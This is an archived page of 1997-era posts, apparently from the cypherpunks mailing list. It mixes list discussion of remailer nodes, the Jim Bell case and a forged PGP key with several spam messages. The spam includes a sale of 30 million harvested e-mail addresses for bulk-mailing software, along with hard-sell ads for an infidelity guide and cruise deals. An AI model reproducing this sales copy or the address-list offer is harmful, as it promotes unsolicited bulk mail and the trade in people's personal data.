situation. I was able to reach a much better settlement and owe many thanks to you as well as my attorney. Your information revealed facts I previously was not aware of. If your guide had not been available, I would have been among the many who make the same mistakes on your list! Many thanks for a very helpful tool." "I purchased your infidelity guide because I had never gone through a divorce. Pride kept me from calling a private investigator to discus my situation. After reading your information I interviewed two investigator's.The first one was more interested in my retainer than my case. I used the techniques learned from your guide to quickly dismiss him and retained the second one. We won the case!" "My attorney commented that often in domestic cases her job can be very difficult at times, especially due to the mistakes that many clients routinely make. I was so glad that I had read your information beforehand.Thank you for being in my corner." If you or someone you know find themselves in the unfortunate situation in which infidelity could very well be a real possibility, YOU owe it to yourself to find out the true facts as they are happening. As a top private investigator I have helped literally hundreds of people restore peace of mind during this trying, emotional period in their lives. "How to E-X-P-O-S-E Infidelity" is an A-Z guide that walks the reader throughout the complete process including: ~ Clues to look for ~ Mistakes that are almost always made by those who suspect their spouse of infidelity ~ How to avoid costly common mistakes ~ What to look for when talking to an investigator ~ The interview process and hiring an attorney ~ Complete question and answer session including answers to many questions routinely asked over the years. Take action and restore peace of mind today. You owe it to yourself to find out the truth. The cost of "How to E-X-P-O-S-E Infidelity" is $19.95. It cannot be stressed enough that this price is really insignificant when you consider what your losses could be. You have my personal guarantee that if you apply what this guide teaches, YOU will be very relieved to have had a guide of this nature from which to learn from BEFORE, instead of after! Please give this some serious thought. "How to E-X-P-O-S-E Infidelity" comes with my complete, no questions asked, money back guarantee. If after receiving this publication you aren't 100% completely satisfied, simply return it in its original condition. I will gladly refund your original purchase price promptly without question. CUSTOMER SUPPORT I am always available to answer any questions you may have after you get your package. The packages are very clear and easy to follow however if you should have any questions I will be here for you. I offer complete customer support and will gladly field any questions to help you prosper. After you get your package(s), feel free to drop me a line via Email! This is my FREE service to you and another way for me to show you that I am genuinely sincere in my desire to help you. And you have my personal... xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 90 DAY NO QUESTIONS, MONEY BACK GUARANTEE xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx I am so confident that after you receive the publication that you will be impressed with what it teaches, I am willing to send it to you totally without risk. Here's my no questions asked money back guarantee to YOU. Get the publication, study it, apply what it teaches, keep it for a full 90 days! If YOU have not received what you feel is a quality, detailed, informative, complete program, Simply return the complete publication in its original condition and I will gladly refund your order price less shipping and handling. YOU cannot lose with this total satisfaction, complete, no questions asked, money back guarantee. You see, I absolutely refuse to have any unhappy customers. YOU risk nothing --- the risk is all mine. What could be fairer than that? Sincerely, Britt S. Phillips President (c) 1997 Virginia Claims Corporation, All rights reserved. - - - CUT HERE AND PRINT THIS PAGE TO ORDER- - - - xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 90 DAY FREE EXAMINATION CERTIFICATE xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ( ) Yes! I would like to take action and order your publication. If for any reason I'm not completely satisfied with . . . "How to E-X-P-O-S-E Infidelity" I can just return it in its original condition during the next 90 days and you'll cheerfully buy it back and refund my $19.95 in full --- less s&h no questions asked and no hard feelings. Use this simple ordering format (and please print clearly) : Name:_________________________________________ Address:_______________________________________ City, State, Zip:_________________________________ E-mail address:_________________________________ Please include so that we may confirm receipt of your order. Make check or money order payable to: Virginia Claims Corporation Send your order to: Virginia Claims Corporation Dept. M2 11232 Midlothian Turnpike, Suite 220 Richmond, VA 23235-4714 Your order will be processed promptly and delivered to you by Special Priority Mail. Thanks for your order!

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Too few cypherpunks nodes.
by ichudov＠algebra.com 17 Dec '03

17 Dec '03

Ladies and Gentlemen, As the time goes on and I see what is happening inside and outside our list, I am getting increasingly concerned about the small number of hosts in the cypherpunks network. Practically, most of the people use only two nodes, Kent's and mine, and thanks to Jim, we have three operating ones. I do not believe that it is good enough. If anyone has any creative idea of how to get a couple more reliable nodes, please share it. igor

3 3

Unbelievable !
by 62376898＠compuserve.com 17 Dec '03

17 Dec '03

*** Attention Internet Marketers ... Look no further. *** 30 MILLION PLUS E-MAIL ADDRESSES - ONLY US$149! (Please Note: introductory offer - we encourage you to act soon.) WorldWide Marketing Group is pleased to finally offer to the direct marketer, the culmination of its intensive 6 month long project in compiling the single largest e-mail address list available anywhere - over 30 million e-mail addresses free of duplicates, one per line and alphabetically sorted - for only US$149! This is real... there is NO catch! This massive list of AOL, Compuserve, Prodigy, Genie, Delphi, Microsoft Network and general Internet addresses, is split into 120 easily manageable zip-files of 250,000 addresses each and is delivered to you on CD-ROM via regular mail (..sorry, but the sheer size of this list makes it unfeasible to deliver via diskette or allow downloading via FTP). Also, this list is CLEAN! There are NO duplicates, NO embedded spaces, NO trailing or embedded white noise characters, NO garbage addresses with more than one '@' character, NO embedded parentheses '(' or ')', NO addresses beginning with non-valid characters (..addresses must begin with 0-9 or a-z), and all are in lower-case. Once unzipped using PKUNZIP (included), or WinZip (evaluation version for Win95 included), these files are ready for use with your favorite bulk mailing software (ie. ExtractorPro, Stealth mailer, FloodGate, etc). Indeed, this is absolutely the *best* offer around for the direct marketer, and will finally put the little guy on even ground with even the biggest bulk e-mailers! Bulk e-mail is still in its infancy and is the new wave in cost-effective global marketing. This huge list offers a whole world of vast potential sales for you and your products - get on board now before you find yourself left behind. We wish you success and we'll see you at the top! To order via e-mail, please send a message first to: worldwide(a)savetrees.com . and we will respond to you with instructions on how to e-mail to us your credit card number (Visa/Mastercard/American Express) in a secure manner. Or to order via regular mail, please send bank draft, money order (..sorry, no personal or business cheques please) or your credit card information to: Worldwide Marketing Group Box 48029 Bedford, NS Canada B4A 3Z2 Thank you very much and sorry for the intrusion... Sincerely, Worldwide Marketing Group P.S: Please allow a couple of weeks for delivery as we are experiencing a large backlog of orders.

1 0

Travel Deal$
by Vacation Superstore/Cruise Holidays 17 Dec '03

17 Dec '03

EVER SPEND MONEY ON TRAVEL TO FIND OUT THAT SOMEONE GOT A BETTER DEAL? EVER HEAR ABOUT A TRAVEL SALE AFTER IT EXPIRED OR WAS SOLD OUT? DON'T MISS OUT! RECEIVE A FREE E-MAIL SUBSCRIPTION TO: TRAVEL DEAL$ NEWSLETTER WE HAVE INCLUDED A COPY OF OUR MOST RECENT ISSUE OF TRAVEL DEAL$ FOR YOU TO EXAMINE. **************************************************************************************** MAILING LIST INSTRUCTIONS: If you DO NOT wish to ever hear from us again, - then do nothing! We will remove you from our mailing list immediately! If you wish to continue receiving Travel Tips & Deal$ please: Send an e-mail to: VSN(a)BELLSOUTH.COM In the Subject heading type: SUBSCRIBE DEAL$ In the body of the letter type: SUBSCRIBE DEAL$ ***************************************************************************************** Here's a sample of our newsletter.. ***************************************************************************************** Hi everyone, from all of us at Vacation Superstore Cruise Holidays! We have a lot of cruise deal$ this time in addition to our all-inclusive vacation deal$ and condos. ***** CRUISE DEAL$ ***** ** Please note that all cruise prices are now quoted to INCLUDE PORT CHARGES AND GOVERNMENTAL FEES/TAXES. This should be the practice of all Travel Agents effective June 1, 1997. We are just starting a little early! So please remember if you price shop that all prices in our newsletter include port charges AND governmental fees/taxes per person.** *** Some of our cruise specials are during what is know as Hurricane Season. Ask for Details on Cruise Cancellation Insurance that INCLUDES HURRICANE COVERAGE from as little as $ 40.00 per person ! *** 1. CARNIVAL CRUISE LINES has the following FANTASTIC fall deals. A. Carnival Fascination Category 4 Inside Cabin, Cruise only (airfare add'tl) 7 Day Southern Caribbean from San Juan ONLY $499 Per Person for 2 in a cabin! ONLY $408 Per Person for 3 in a cabin! ONLY $362 Per Person for 4 in a cabin! LEAVE ANY SATURDAY FROM SEPT. 6TH - OCT 4TH, 1997 B. Carnival Sensation Category 4 Inside Cabin, Cruise only (airfare add'tl) 7 Day Eastern Caribbean from Miami October 11th, 1997 Sailing (Veteran's Day) ONLY $569 Per Person for 2 in a cabin! ONLY $456 Per Person for 3 in a cabin! ONLY $399 Per Person for 4 in a cabin! C. Carnival Destiny 7 Day Eastern Caribbean from Miami, Cruise only August 31st, 1997 Sailing (Labor Day) Category 4 Inside ONLY $ 799 per person Category 6 Outside ONLY $ 889 per person Category 8 Balcony ONLY $1,029 per person PRICES GUARANTEED ONLY THROUGH JUNE 6TH 2. NORWEGIAN CRUISE LINES has the following FANTASTIC fall deals. A. Norwegian Seaward 7 Day Exotic Southern Caribbean from San Juan August 31, 1997 Sailing (Labor Day), Inside Cabins ONLY $ 575 per person for 2 in a cabin! ONLY $ 449 per person for 3 in a cabin! ONLY $ 388 per person for 4 in a cabin! AIRFARE ADD-ONS FOR THIS SAILING FROM: $299 per person from Eastern USA! $349 per person from Central USA! $419 per person from Western USA! (3rd & 4th person in a cabin price slightly higher) B. Norwegian Seaward 7 Day Exotic Southern Caribbean from San Juan November 23, 1997 Sailing (Thanksgiving), Inside Cabins ONLY $ 599 per person for 2 in a cabin! ONLY $ 499 per person for 3 in a cabin! ONLY $ 449 per person for 4 in a cabin! AIRFARE ADD-ONS FOR THIS SAILING FROM: $299 per person from Eastern USA! $349 per person from Central USA! $419 per person from Western USA! 3. 5-Star CELEBRITY CRUISE LINES has the following FANTASTIC deals. A. Celebrity Century 7 day Eastern Caribbean from Ft. Lauderdale *** July 5th, 1997 *** THIS ONE IS HOT! Category 9 Inside $ 999 per person Category 4 Outside $ 1199 per person Deposit Deadline is May 29th! B. Celebrity Zenith 7 day Bermuda Cruise from New York September 20th, 1997 Inside Cabins from $ 775 per person Outside Cabins from $ 899 per person ************************************************************************************* WINTER 1998 EARLY BOOKING DISCOUNTS ! G U A R A N T E E D L O W E S T P R I C E - if you place a refundable deposit with the Cruise Line and the price goes down (which we are professionally telling you is VERY unlikely), then your price goes down - you can't loose when you book early through Vacation Superstore! Look at these Deal$, Prices are guaranteed without deposit until June 15th, unless otherwise noted. REMEMBER: PRICES INCLUDE PORT CHARGES & TAXES! 1. Carnival Tropicale 11 Day S. Caribbean & Panama Canal from San Juan December 22, 1997 through January 2, 1998 FROM ONLY $ 1,029 per person, cruise only 2. Celebrity Horizon 10 Day from Ft. Lauderdale December 26, 1997 through January 5, 1998 FROM ONLY $ 1,659 per person, cruise only Deposit Deadline is May 29th! 3. Carnival Tropicale 10 Day Southern Caribbean from San Juan February 13 - 23, 1998 (President's Holiday Week) HOT DEAL! FROM ONLY $ 799 per person, cruise only Deposit Deadline is May 29th! 4. Celebrity Mercury from Ft. Lauderdale (Inaugural Season, Galaxy sister ship) February 15 - 22, 1998 7 day Western Caribbean (President's Week) FROM ONLY $ 979 per person, cruise only UNBELIEVABLE! 5. Carnival Sensation 7 Day Eastern Caribbean from Miami March 7 - 14, 1998 FROM ONLY $ 669 per person, cruise only UNBELEIVABLE! 6. Carnival Imagination 7 Day Western Caribbean from Miami March 14 - 21, 1998 FROM ONLY $ 729 per person, cruise only UNBELIEVABLE! 7. Celebrity Galaxy 7 Day Southern Caribbean from San Juan March 21 - 28, 1998 FROM ONLY $ 875 per person, cruise only UNBELIEVABLE! ASK ABOUT OUR OPTIONAL GOLF PACKAGE AND PLAY PLAY 5 OF THE BEST GOLF COURSES IN THE CARIBBEAN! 8. Carnival Jubilee 7 Day Mexican Riviera from Los Angeles April 5 - 12, 1998 (Easter/Passover Vacation) FROM ONLY $ 629 per person, cruise only UNBELIEVABLE! ***** ALL INCLUSIVE RESORTS ***** 1. COUPLES, JAMAICA 7 DAYS, airfare additional Deluxe Mountain view Room FROM ONLY $1,995 PER COUPLE! MANY DATES AVAILABLE, INCL. HOLIDAYS! Deluxe Oceanview Room only $2,425 per couple. 2. ARUBA: TAMAJARIN ARUBA BEACH RESORT All Oceanfront Rooms! Great Winter & Summer Season Rates! 7 days from ONLY $1,289 PER PERSON, INCL. EAST COAST AIRFARE! AMERICANA ARUBA BEACH RESORT & CASINO Great Winter & Summer Season Rates! 7 days from ONLY $1,649 PER PERSON, INCL. EAST COAST AIRFARE! 3. BARBADOS ALMOND BEACH CLUB & VILLAGE Great Winter & Summer Season Rates! 7 days from only $1,479 PER PERSON, INCL. EAST COAST AIRFARE! ***** CONDOS ***** 1. Florida Condo's from $90.00 per night. Some as large as 1,500 sq. feet! Call for details. ********************************************************************* **************** Vacation Superstore Network, Cruise Holidays, and Travel Tips and Deal$ are registered Trademarks. We are registered in the State's of Ohio and Florida and are members of CLIA (Cruise Line International Association). All payments made to Vacation Superstore/Cruise Holidays are remitted immediately to the Vacation supplier for your protection. Ask for details. Travel Tips and Deal$ can be seen locally on Florida's Treasure Coast on WTCN-TV, Channel 16, Stuart, Florida. *************************************************************************************

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Re: Timmy and the OKC Actions
by Alan Olsen 17 Dec '03

17 Dec '03

At 03:29 PM 5/23/97 -0700, you wrote: >At 10:56 AM -0700 5/23/97, Huge Cajones Remailer wrote: >> The US is still reeling from OK City. Tried as it might, the US gov't >>couldn't find an outside enemy to pin it to. Whether >>Timmy did it or not is again irrelevant, they needed to find > ^^^^^^^^^^^^^^^^^^^ >>someone to blame and did. Now that it's the defenses turn, it >... > >Hey, I _didn't_ do it. Honest. No fooling. I was more than 30 miles away >when that blast went off, and you can't place me in OKC anytime that >morning. Then why was Lassie in the background of the pictures of the blast? (You can see her doing somersaults through the air, hurled like so much Jagermeister.) And what about the truck driven by June Lockhart? And that robot waving his arms yelling "Danger! Danger!" Oops... Sorry. Wrong Timmy. --- | "Bill Clinton - Bringing back the sixties one Nixon at a time." | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano(a)teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan(a)ctrl-alt-del.com|

1 0

Re: Key Recovery / The True Story
by Blanc 17 Dec '03

17 Dec '03

Ernest Hua wrote: > Is it EVER okay for spooks to break into a church's computer to > find out if they are secret terrorists? .................................................................. Is there a Universal Authority who can definitively answer questions like this, so that we can know what is right/wrong and win philosophical debates? Ask any person/organization, and they will provide the answer which they feel comfortable with. Those who choose to uphold certain standards of behavior will reply in reference to a concern for the violation of these ideals; those who only deal with action in practical cause/effect scenarios will reply in terms of their immediate concerns for physical safety from terrorists wherever/however one may route them. Some people's perspectives are short & narrow, some people see things in a larger, integrated context. Each will answer according to their ability to evaluate antecedents & consequents. Eventually, one must decide for oneself what one will choose to live with, to tolerate. .. Blanc

1 0

Re: The Natives Are Getting Restless
by Blanc 17 Dec '03

17 Dec '03

some using Huge Cajones Remailer wrote: >List members should be the first to rise above the base tactics of >the enemy. We need to develop a language of inclusion that unites all >of these seemingly disparate peoples against the common enemy. .................................................. Typical collectivist thinking, the other side of "good cop/bad cop". There is nothing wrong with having a separate identity. Neither is there a need to have a common enemy. .. Blanc

1 0

Re: Jim Bell Complaint
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

John Young wrote: > > William Geiger wrote: > > >After reading the complaint I have to say that with friends like that > >who needs enemies? > > True, if that's what the friends actually said, and if they were > not induced to do so by being fed lethal information: don't > go down with Bell, protect yourself, spill your guts. > > Turning friends against friends is pretty common in > investigations, using threats and promises of relief > from possible charges, even saying that your friend is > squealing on you. I have mostly lurked on the list for several years without doing very much posting. I am employed in an area of law enforcement where I don't get involved with the the darker side of the process but I often listen to others who talk about various methods they use to make a case against somebody they have decided to "get." It is well known that if the information provided in an initial interview of a potential witness is not damaging enough that veiled threats implying the person being interviewed will be going along for the ride is enough to induce them to spill whatever beans the investigator is after. I recognize the need to lean on those who are witholding needed information but the method is often used to trump up the most outrageous accusations and manufactured evidence imaginable. Add to this the fact that most of us have at some point made statements that we would like to "kill" a certain individual and similar off the cuff statements and almost anyone can look very guilty of almost anything. Since I initially recognized the federal action against Mr. Bell as an all out effort to get him no matter what the cost I was not surprised to see that the first interviews with his friends were fairly tame material and the second interviews were very damaging to Mr. Bell. Once you put enough fear into people their memories become very creative. > I was struck by how similar some remarks attributed to > Bell were to those attributed to McVeigh, not that they > were not made, but that the investigators chose to > select just those to indicate lethal intent. I have worked with a sufficient volume of evidence in all manner of cases that I am convinced that any paramilitary or military type of person could be arrested and one would be able to duplicate much of the evidence that is being introduced in the McVeigh case. I think that if McVeigh and Bell traded places that each would still be convicted of some of the charges against them. I have seen carnivorous prosecuters turn totally ambiguous evidence into a smoking gun against very average people even without the ferocious intent that the government has in the McVeigh and Bell cases to produce a conviction at any cost. > The IRS searching the Internet for incriminating advocacy > is a warning of what's to come, as often predicted here. In my time on the list I have noticed that and it was particularly brought home to me when I read the story posted to the list called "Webworld and the Circle of Unuchs." I think the author must be one of the list spooks because the connections he makes or makes up are strikingly similar to those which would be conjectured by a good evidentiary analyst. I used to print cypherpunk posts for a fellow employee who works computer crime cases and he would demean them because they weren't technical enough for his taste. Now he follows the list religiously because it lets him know whats going on and where things are going with privacy and encryption. > Time to study and ponder the 1st Amend -- which, by the way, > Matt Blaze did at the NYC crypto forum last night to challenge > Charney and Denning. Matt pulled out a copy and cited > it, which may be a good indication of what he knows that > we don't about what's coming. What I learn on my job is a world apart from the publics perception of what goes on in law enforcement. It is scary to realize how many people suffer terribly just because they are so trusting in the system when the system doesn't really care in many cases. I am certain that it must be just as true and more at higher levels of government where we see and know so little of what really takes place behind the scenes. If I had to work in an area of law enforcement where I faced pressure to do many of the things that others do to produce convictions I don't think I would last very long. At least I hope I wouldn't.

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Re: The Bell Plan
by Kent Crispin 17 Dec '03

17 Dec '03

On Fri, May 23, 1997 at 03:35:04PM -0400, lucifer Anonymous Remailer said: > [clever forgery deleted] >GovernmentMonger > >-----BEGIN PGP PUBLIC KEY BLOCK----- >Version: 5.0 beta > >mQBtAzMlqw8AAAEDALc9qKk3L2AH9k8wEtwX5R6VkBj3jdqWmCUVB7STqtsE2jpv >3QzrbNi2GShGjiYxMv1jef7K6cA83sk3rrXhL0h8l3vx2mIN1j/XNb/ifdsbScP/ >VZyZEXJMg3KGKsoHoQAFEbQgS2VudCBDcmlzcGluIDxrZW50QHNvbmdiaXJkLmNv >bT4= >=Nj/m >-----END PGP PUBLIC KEY BLOCK----- Please note that the above key is not mine. -- Kent Crispin "No reason to get excited", kent(a)songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html

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